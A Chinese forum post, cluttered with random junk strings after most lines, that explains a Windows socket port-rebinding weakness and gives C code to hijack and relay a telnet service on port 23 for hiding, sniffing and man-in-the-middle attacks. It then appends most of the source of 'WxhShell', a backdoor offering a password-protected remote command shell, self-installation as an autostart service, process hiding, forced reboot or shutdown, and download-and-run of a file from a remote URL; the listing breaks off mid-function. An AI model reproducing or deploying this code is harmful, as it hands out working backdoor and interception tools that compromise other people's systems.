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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {P#&e>)v{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E#FyL>:.h  
'gojP  
  saddr.sin_family = AF_INET; _ QM  
Al`[Iu&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ga%]$4u  
"/?*F\5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gH0B[w ]  
%6"b< MAO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1a90S*M  
R6Cm:4m}I  
  这意味着什么?意味着可以进行如下的攻击: Tf"DpA!_  
>M^ 1m(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [lA[w Cw  
8P!dk5 ,,O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Sh]x`3 ).  
fwRlqfi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +2w54X%?M  
<5(8LMF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >{4pEy  
j78xMGKO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 H9w*U  
l#o43xr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xIrpGLPSh  
d #a  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ik1,?A  
h{sW$WA  
  #include KW&&AuPb}  
  #include fu=}E5ScK  
  #include uPV,-rm[F_  
  #include    &u"*vG (U[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vO{ijHKE  
  int main() ?/)5U}*M0T  
  { VJCh5t*  
  WORD wVersionRequested; M Zw%s(lv  
  DWORD ret; G"TPu _g  
  WSADATA wsaData; _u;^w}0  
  BOOL val; #fGb M!3p  
  SOCKADDR_IN saddr; 9rao&\eH  
  SOCKADDR_IN scaddr; _ |TE )h  
  int err; n/?5[O-D]  
  SOCKET s; 5.[{PJ]bq  
  SOCKET sc; 9$Mi/eLG2N  
  int caddsize; dY\"'LtF  
  HANDLE mt; &F'v_9  
  DWORD tid;   =b%J@}m`&  
  wVersionRequested = MAKEWORD( 2, 2 ); B0z.s+.  
  err = WSAStartup( wVersionRequested, &wsaData ); .3|9 ~]  
  if ( err != 0 ) { kFM'?L&  
  printf("error!WSAStartup failed!\n"); {|xwvTl J  
  return -1; qW7"qw=   
  } NTL#!  
  saddr.sin_family = AF_INET; m4Wn$Z  
   E}@8sY L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 f/;\/Q[Z7  
: 1fik  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d<7J)zUm3  
  saddr.sin_port = htons(23); +H&_Z38n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iW"L!t#\|  
  { 1wc -v@E  
  printf("error!socket failed!\n"); -'PpY302  
  return -1; ;@d %<yMf@  
  } XFu@XUk!K  
  val = TRUE; N0vd>b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 HqXo;`Yy}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E;4Ns  
  { 2hJ{+E.m  
  printf("error!setsockopt failed!\n"); M+hc,;6  
  return -1; jq0tMTb%L  
  } !W%HAlUAG[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; X^|oY]D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zK-hNDFL{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (uG4W|?p  
D8?$Fn=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BRD'5 1]|  
  { }uHc7gTBF7  
  ret=GetLastError(); a ^)Mx9  
  printf("error!bind failed!\n"); ;2@sn+@  
  return -1; _kY5 6  
  } P/I{q s  
  listen(s,2); ^CK)q2K>[  
  while(1) J.<%E[ z  
  { ax^${s|{-  
  caddsize = sizeof(scaddr); / a$+EQ$  
  //接受连接请求 D`t e|K5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rmMO-!s  
  if(sc!=INVALID_SOCKET) #>v7" <  
  { 'hek CZZ_I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?Nh%!2n  
  if(mt==NULL) =` i 7?  
  { 'o7PIhD"  
  printf("Thread Creat Failed!\n"); phc1AN=[E  
  break; f0D Ch]  
  } $k`8Zx w  
  } @^` <iTK&p  
  CloseHandle(mt); 4*+EUJ|  
  } 7@lXN8_f  
  closesocket(s); j&Hn`G  
  WSACleanup(); *(vq-IE\$  
  return 0; p_z"Uwp  
  }   sRZ:9de+  
  DWORD WINAPI ClientThread(LPVOID lpParam) zDl, bLiJ  
  { O h" ^  
  SOCKET ss = (SOCKET)lpParam; i9xv`Ev=R  
  SOCKET sc; uf;q/Wr  
  unsigned char buf[4096]; 6 gKOpa  
  SOCKADDR_IN saddr; m_(hCY=Q$  
  long num; i52R,hz  
  DWORD val; 1!f'nS  
  DWORD ret; EORRSP,$2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w//w$}v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NdNfai  
  saddr.sin_family = AF_INET; Oq2H>eW`f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Iv<9} )2K  
  saddr.sin_port = htons(23); z;/'OJ[.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *SY4lqN  
  { 'QS"4EvdD  
  printf("error!socket failed!\n"); ltrSTH,kL  
  return -1; eurudl  
  } 2 T3DV])Q  
  val = 100; MJG%HakK0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DrEtnt   
  { r{Q< a  
  ret = GetLastError(); V^{!d}  
  return -1; xI<dBg|]+  
  } f oVD+\~Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )j6>b-H   
  { *h4m<\^U  
  ret = GetLastError(); Az-!LAu9 R  
  return -1; 3E ZwF  
  } =CVT8(N*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hX_p5a1t  
  { A pjqSz"  
  printf("error!socket connect failed!\n"); 7[H`;l  
  closesocket(sc); YxtkI:C?  
  closesocket(ss); {^f0RGJg9  
  return -1; vQ/\BN  
  } *_QHtZG  
  while(1) NNE,| :  
  { ;iORfUjxrq  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 K D-_~uIF  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PbPP1G')  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]= NYvv>H  
  num = recv(ss,buf,4096,0); U(N$6{i_  
  if(num>0) M([H\^\:  
  send(sc,buf,num,0); ~yi&wbTjM  
  else if(num==0) [~<',,tA0|  
  break; N1!5J(V4  
  num = recv(sc,buf,4096,0); lkZC?--H  
  if(num>0) 5 WppV3;  
  send(ss,buf,num,0); u-9t s  
  else if(num==0) _;q-+"6L;  
  break; `fkri k  
  } %'T>kz*A  
  closesocket(ss); @L!#i*> 9  
  closesocket(sc); W[>TqT63  
  return 0 ; |I}+!DDuv  
  } SU'1#$69F  
m[{&xF|_  
DP_Pqn8p&M  
========================================================== iFCH$!  
I|IlFu?O=  
下边附上一个代码,,WXhSHELL vEe  
sYA-FO3gh  
========================================================== 'TrrOq4  
G r|@CZq  
#include "stdafx.h" I=%sDn  
4@e!D Du  
#include <stdio.h> [T}]Ma*CS  
#include <string.h> =+h!JgY/L  
#include <windows.h> rgzI  
#include <winsock2.h> dO4#BDn"=  
#include <winsvc.h> d95N$n   
#include <urlmon.h> (1,#=e+  
I A`8ie+  
#pragma comment (lib, "Ws2_32.lib") 87(^P3;@  
#pragma comment (lib, "urlmon.lib") HCIF9{o1j>  
aF{i A\  
#define MAX_USER   100 // 最大客户端连接数 ')<FLCFwT  
#define BUF_SOCK   200 // sock buffer lq8ko@  
#define KEY_BUFF   255 // 输入 buffer /eRtj:9M  
DsW`V~ T  
#define REBOOT     0   // 重启 8Qz7uPq  
#define SHUTDOWN   1   // 关机 RpK,ixbtA+  
7 3z Y^ x  
#define DEF_PORT   5000 // 监听端口 9H}iX0O  
A4Q)YY9~  
#define REG_LEN     16   // 注册表键长度 6+;2B<II  
#define SVC_LEN     80   // NT服务名长度 iB3 +KR  
f5b`gvCY,#  
// 从dll定义API pd>a6 lI`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~R@m!'I k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :/[YY?pg-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); : |*,Lwvd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sHTePEJ_h  
.&Pe7`.BE  
// wxhshell配置信息 i5<Va@ru!s  
struct WSCFG { Wx|6A#cg!  
  int ws_port;         // 监听端口 <oaBh)=7  
  char ws_passstr[REG_LEN]; // 口令 9;Pu9s[q2  
  int ws_autoins;       // 安装标记, 1=yes 0=no g} ~<!VpX  
  char ws_regname[REG_LEN]; // 注册表键名 A Wh* <H  
  char ws_svcname[REG_LEN]; // 服务名 lZA>L, \d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aho<w+l@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3zA=q[C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y]pN=<*h5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]6%%X+$7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q xF8=p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `?o1cf A  
l&sO?P[ /  
}; Xf_tj:eO~  
5-5(`OZ{'  
// default Wxhshell configuration 1xdESorX(  
struct WSCFG wscfg={DEF_PORT, _IKP{WNB  
    "xuhuanlingzhe", @j\?h$A/  
    1, v8vh~^X%P  
    "Wxhshell", ({_:^$E\  
    "Wxhshell", )Kk(P/s  
            "WxhShell Service", Fma`Cm.  
    "Wrsky Windows CmdShell Service", Bx}0E  
    "Please Input Your Password: ", LJNie*  
  1, 9 /Ai(  
  "http://www.wrsky.com/wxhshell.exe", C|d!'"p  
  "Wxhshell.exe" (_&V9vat=  
    }; (-' 0g@0UA  
UGC|C F2K  
// 消息定义模块 k`7.p,;}U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :Y J7J4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [%iUg\'7d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^Q)gsJY|I  
char *msg_ws_ext="\n\rExit."; -90ZI1O`  
char *msg_ws_end="\n\rQuit."; F%_,]^ n[  
char *msg_ws_boot="\n\rReboot..."; 3n84YX{  
char *msg_ws_poff="\n\rShutdown..."; zsMw5C  
char *msg_ws_down="\n\rSave to "; Fy _<Ui  
p[@oF5M  
char *msg_ws_err="\n\rErr!"; _KM$u>B8  
char *msg_ws_ok="\n\rOK!"; hKH$AEHEU}  
Ss<_K>wk  
char ExeFile[MAX_PATH]; d1uG[  
int nUser = 0; IGK_1@tq  
HANDLE handles[MAX_USER]; Y0L5W;iM  
int OsIsNt; Z}K.^\S9  
,+NE:_  
SERVICE_STATUS       serviceStatus; tgvpf /cQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bco[L@6G$  
y800(z  
// 函数声明 0(hv#C4  
int Install(void); orQV'  
int Uninstall(void); 17n+4J]  
int DownloadFile(char *sURL, SOCKET wsh); V^Mf4!A(y  
int Boot(int flag); wKi}@|0[@  
void HideProc(void); {Ukc D+.Y  
int GetOsVer(void); }[KDE{,V  
int Wxhshell(SOCKET wsl); 6& &}P79  
void TalkWithClient(void *cs); Pi"~/MGP$  
int CmdShell(SOCKET sock); iFwyh`Bcg  
int StartFromService(void); YM`:L  
int StartWxhshell(LPSTR lpCmdLine); #GY&$8.u*  
ezg^5o;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p'Y&Z?8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '?`@7Eol  
u1pc5 Y{  
// 数据结构和表定义 \=EY@ *=  
SERVICE_TABLE_ENTRY DispatchTable[] = [DotS\p!z  
{ Rg8m4xw  
{wscfg.ws_svcname, NTServiceMain}, s}[A4`EWH  
{NULL, NULL} ;o_V!< $  
}; 43{_Y]  
PQU3s$  
// 自我安装 w;yiX<t<  
int Install(void) z@Z_] h  
{ xq Q~|  
  char svExeFile[MAX_PATH]; S6Xb*6  
  HKEY key; cXOje"5i  
  strcpy(svExeFile,ExeFile); -40'[a9E  
]F"(OWW  
// 如果是win9x系统,修改注册表设为自启动 `'[7~Ew[  
if(!OsIsNt) { WbC0H78]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oeu|/\+HW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); daA47`+d  
  RegCloseKey(key); P|e:+G7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rR,+G%[(=4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F=-uDtQ <N  
  RegCloseKey(key); .Ca"$2  
  return 0; "}'8`k+d  
    } g+>=C   
  } ;gxN@%}@  
} z)58\rtz  
else { H-/; l54E  
6m, KL5>W  
// 如果是NT以上系统,安装为系统服务 Ism^hyL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S+) l[0  
if (schSCManager!=0) YM #  
{ Qq,i  
  SC_HANDLE schService = CreateService 6?1s`{yy  
  ( l)tTg+:  
  schSCManager, 9*}iBs  
  wscfg.ws_svcname, &\J?[>EJ.  
  wscfg.ws_svcdisp, V-D}U$fw  
  SERVICE_ALL_ACCESS, sorSyuGr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0`VD!_`  
  SERVICE_AUTO_START, qYgwyj=4  
  SERVICE_ERROR_NORMAL, kfMhw M8kP  
  svExeFile, QHHW(InG<  
  NULL, ZdE>C   
  NULL, a)3O? Y  
  NULL, Vl5SL{+D  
  NULL, _o@(wGeu#  
  NULL G$?|S@I,  
  ); 4zo4H~@gk  
  if (schService!=0) ~q0I7M  
  { N5pinR5 H  
  CloseServiceHandle(schService); Xt</ -`  
  CloseServiceHandle(schSCManager); iGG6Myp-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _u:>1]  
  strcat(svExeFile,wscfg.ws_svcname); Qqd6.F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pP|,7c5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UJee&4C-y  
  RegCloseKey(key); 82j'MgGP  
  return 0; (Oxz'#TX  
    } "C_T]%'Wm  
  } !Gln Q`T  
  CloseServiceHandle(schSCManager); 5x*5|8  
} f,St h7y  
} k sB  
q+YuVQ-fx  
return 1; SQq6X63 \  
} 0lX)Cl  
mgi,b2  
// 自我卸载 [<]Y+33  
int Uninstall(void) Uby,Tu  
{ <U@P=G<t  
  HKEY key; $7Jfb<y  
nkCecwzr-  
if(!OsIsNt) { *ZGX-+{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N=OS\pz  
  RegDeleteValue(key,wscfg.ws_regname); S304ncS|M  
  RegCloseKey(key); lp,\]]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k4S} #!  
  RegDeleteValue(key,wscfg.ws_regname); PV?]UUc'n<  
  RegCloseKey(key); 1*Sr5N[=  
  return 0; 54<6Dy f  
  } 3LKB;  
} CD^CUbGk  
} c]6V"Bo}A  
else { %4j&H!y-w;  
;knd7SC   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |J:$MX~  
if (schSCManager!=0) RS'} nY}  
{ HR;/Br  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uA~YRKer  
  if (schService!=0) y)6,0K {k  
  { NA+&jV  
  if(DeleteService(schService)!=0) { XR|"dbZW.0  
  CloseServiceHandle(schService); 3rxo,pX94  
  CloseServiceHandle(schSCManager); CXTt(-FT  
  return 0; kGpV;F==*  
  } Ee&hG[sx  
  CloseServiceHandle(schService); } <SNO)h3  
  } vKU`C?,L  
  CloseServiceHandle(schSCManager); :bwM]k*$  
} =g@R%NDNV  
} zu52 p4  
CE{z-_{ ^  
return 1; D,k(~  
} +W6Hva.  
,*7H|de7   
// 从指定url下载文件 Am=wEu[b  
int DownloadFile(char *sURL, SOCKET wsh) \@i=)dA  
{ PfyRZ[3)c  
  HRESULT hr; fCB:733H  
char seps[]= "/"; [#0Yt/G  
char *token; xS"$g9o0  
char *file; 5|{)Z]M%9  
char myURL[MAX_PATH]; !L77y^oV  
char myFILE[MAX_PATH]; z/S,+!|z  
v51EXf  
strcpy(myURL,sURL); U| 8[#@r  
  token=strtok(myURL,seps); So#dJ>   
  while(token!=NULL) iSlFRv?a  
  { o w2$o\hC  
    file=token; Yb}w;F8(  
  token=strtok(NULL,seps); 3w Z(+<4i  
  } 6_*!|g  
Sr&T[ex,.  
GetCurrentDirectory(MAX_PATH,myFILE); N=#4L$@-  
strcat(myFILE, "\\"); Id %_{),HX  
strcat(myFILE, file); }&1Iyb  
  send(wsh,myFILE,strlen(myFILE),0); *wwhZe4V  
send(wsh,"...",3,0); v Xb:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $_)=8"Sn  
  if(hr==S_OK) ,<sm,!^<r  
return 0; {DT4mG5  
else aM$\#Cx  
return 1; eaQ90B4  
f/ajejYo?,  
} AliRpxxd  
~n6[$WjZA  
// 系统电源模块 ;-Ss# &  
int Boot(int flag)  {7X#4o0  
{ 2Pp&d>E4  
  HANDLE hToken; |6%.VY2b  
  TOKEN_PRIVILEGES tkp; "V 3}t4  
?vu_k 'io  
  if(OsIsNt) { >Rt9xP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g]|_ `  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @rO4y`  
    tkp.PrivilegeCount = 1; $M':&i5`,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =MC~GXJSNw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); noC?k }M  
if(flag==REBOOT) { ^YKy9zkTl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ziz=]D_  
  return 0; y? "@v.  
} '&by3y5w-3  
else { t+Z`n(>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?U_9{}r  
  return 0; ~GG?GB  
} Gy!P,a)z  
  } 55-D\n<  
  else { 9cQ_mgch  
if(flag==REBOOT) { G;TsMq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C0fmmI0z~  
  return 0; Qw?+!-7TN  
} w(B H247`  
else { A62<]R)n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JRO$<  
  return 0; pUCK-rL  
} ( KTnJZ  
} ioV_oR9I  
kZVm1W1  
return 1; z/1{OL  
} EA|k5W*b  
(R'+jWH  
// win9x进程隐藏模块 Fk1.iRVzi  
void HideProc(void) |;u}sX1t9  
{ [;KmT{I9  
s t/n"HQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \dq!q=b\  
  if ( hKernel != NULL ) ug *D52?  
  { zoP%u,XL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @Z;1 g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F Z!J  
    FreeLibrary(hKernel); Y-p<qL|_  
  } \k@Z7+&7  
?t rV72D  
return; `.=sTp2rbc  
} 9s`/~ a@  
Bux'hc  
// 获取操作系统版本 ? _ <[T  
int GetOsVer(void) u1cu]Sj0  
{ \M(* =5  
  OSVERSIONINFO winfo; M)!skU   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !QEL"iJ6M'  
  GetVersionEx(&winfo); U,; xZe  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }rbZ&IN\?E  
  return 1; e*]r  
  else jtKn3m7 +p  
  return 0; :gI.l1  
} a3@w|KLt  
0oU=RbC  
// 客户端句柄模块 ksWSMxm  
int Wxhshell(SOCKET wsl) wAYB RY[  
{ C+%K6/J(  
  SOCKET wsh; lIf(6nm@  
  struct sockaddr_in client; ^0tw%6:  
  DWORD myID; 4nkE IZ  
v27Ja .tA  
  while(nUser<MAX_USER) 7@~tVxB;  
{ R1ktj  
  int nSize=sizeof(client); fS A)G$b]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nl1-kB)$e|  
  if(wsh==INVALID_SOCKET) return 1; 1S$h<RIPAc  
2cf' ,cv@8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _:J*Cm[q  
if(handles[nUser]==0) Z$'I Bv  
  closesocket(wsh); ]gEhE  
else $-vo}k%M  
  nUser++; .L;@=Yg )  
  } -<N&0F4|*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K`k'}(vj  
nWWM2v  
  return 0; 8`v$liH  
} [!"XcFY:a  
%<Q*Jf  
// 关闭 socket 27 GhE  
void CloseIt(SOCKET wsh) cA;js;x@  
{ uDuF#3 +"  
closesocket(wsh); 1u}nm;3  
nUser--; $Ui&D I  
ExitThread(0); ijUzC>O+q  
} :&VcB$  
z4 M1D9iPY  
// 客户端请求句柄 ftZj}|R!  
void TalkWithClient(void *cs) {CUk1+  
{ l1+[  
4]&<?"LSK  
  SOCKET wsh=(SOCKET)cs; P7GRSjG  
  char pwd[SVC_LEN]; -_8*41  
  char cmd[KEY_BUFF]; K7`YJp`i  
char chr[1]; i$UQbd  
int i,j; 7#-y-B]l  
rwqv V ^  
  while (nUser < MAX_USER) { /8gL.i$  
&35|16z%@  
if(wscfg.ws_passstr) { 8SmjZpQ?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UG[e//m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w+AuMc  
  //ZeroMemory(pwd,KEY_BUFF); dpzw.Z  
      i=0; ;IZ?19Q  
  while(i<SVC_LEN) { g]$ 4~"|.  
< {ru|-9  
  // 设置超时 k#)Ad*t  
  fd_set FdRead; t})$lM  
  struct timeval TimeOut; 7_\Mwy{P  
  FD_ZERO(&FdRead); g+[kde;(^  
  FD_SET(wsh,&FdRead); kv?|'DN  
  TimeOut.tv_sec=8; O\beKBT;  
  TimeOut.tv_usec=0; 'ks{D(`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HKmcQM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (36K3=Qa  
", B'k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i~yX tya  
  pwd=chr[0]; (#Mp 5C'X  
  if(chr[0]==0xd || chr[0]==0xa) { ;b%{ilx:  
  pwd=0; A7-r <s  
  break; <94G  
  } kE)!<1yy2  
  i++; 8{I"q[GZ  
    } rT7^-B*  
Un@\kAY  
  // 如果是非法用户,关闭 socket pSAR/':eg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HW_& !ye  
} R>)MiHcCg  
Cmd329AH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R p.W,)i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eaZQ2  
7 'w0  
while(1) { Q/^A #l[  
O!R"v'  
  ZeroMemory(cmd,KEY_BUFF); w2"]Pl  
--k:a$Nt  
      // 自动支持客户端 telnet标准   UpUp8%fCU  
  j=0; iI?{"}BZ  
  while(j<KEY_BUFF) { e<=;i" |  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z=$  T1|  
  cmd[j]=chr[0]; QT!5l`  
  if(chr[0]==0xa || chr[0]==0xd) { 'jaoO9KY K  
  cmd[j]=0; TT}]wZ  
  break; >SI<rR[~%  
  } e>H:/24  
  j++; Ka-p& Uv1<  
    } `~F5 wh~  
Plo,XU  
  // 下载文件 $aP(|!g  
  if(strstr(cmd,"http://")) { X>l*v\F9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G*n2Ii  
  if(DownloadFile(cmd,wsh)) j$@tK0P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `rFAZcEj%  
  else mP}#Ccji?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Np,2j KF(  
  } 9'KonW  
  else { (H#M<N  
+1`t}hO  
    switch(cmd[0]) { 9`Q@'( m  
  IB$7`7  
  // 帮助 jj&s} _75  
  case '?': { 6Z! y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'ZHdV,dd  
    break; ; st\I  
  } u?0d[mC  
  // 安装 ]> G&jd7  
  case 'i': { igkz2SI  
    if(Install()) H5xzD9K;/C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x0+glQrNN  
    else LI W*4r!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iS: #o>  
    break; P%>?[9!Nt  
    } v,1F-- v  
  // 卸载 $ |<m9CW  
  case 'r': { hx!7w}[A  
    if(Uninstall()) (4+1lOd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a39hP*  
    else C7qYiSv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S*t%RZ~a  
    break; h=+$>_&:  
    } ;=;JfNnbm  
  // 显示 wxhshell 所在路径 ;A#~` P  
  case 'p': { :)c80`-E  
    char svExeFile[MAX_PATH]; ]7/gJ>g,  
    strcpy(svExeFile,"\n\r"); P]6}\ ]~  
      strcat(svExeFile,ExeFile); o$J6 ~dn  
        send(wsh,svExeFile,strlen(svExeFile),0); RUXCq`)"<  
    break; +x1/-J8_sg  
    } La,QB3K/  
  // 重启 <y=ovkM3  
  case 'b': { e3(<8]`b[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \"^% 90F  
    if(Boot(REBOOT)) ]((i?{jb(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `a4 $lyZ  
    else { RQ' H!(K  
    closesocket(wsh); ;e{5)@h$  
    ExitThread(0); K{DAOQ.z  
    } Y;Y 1+jt  
    break; TSto9 $}*  
    } .[j%sGdKl  
  // 关机 v'9m7$  
  case 'd': { AK/:I>M  
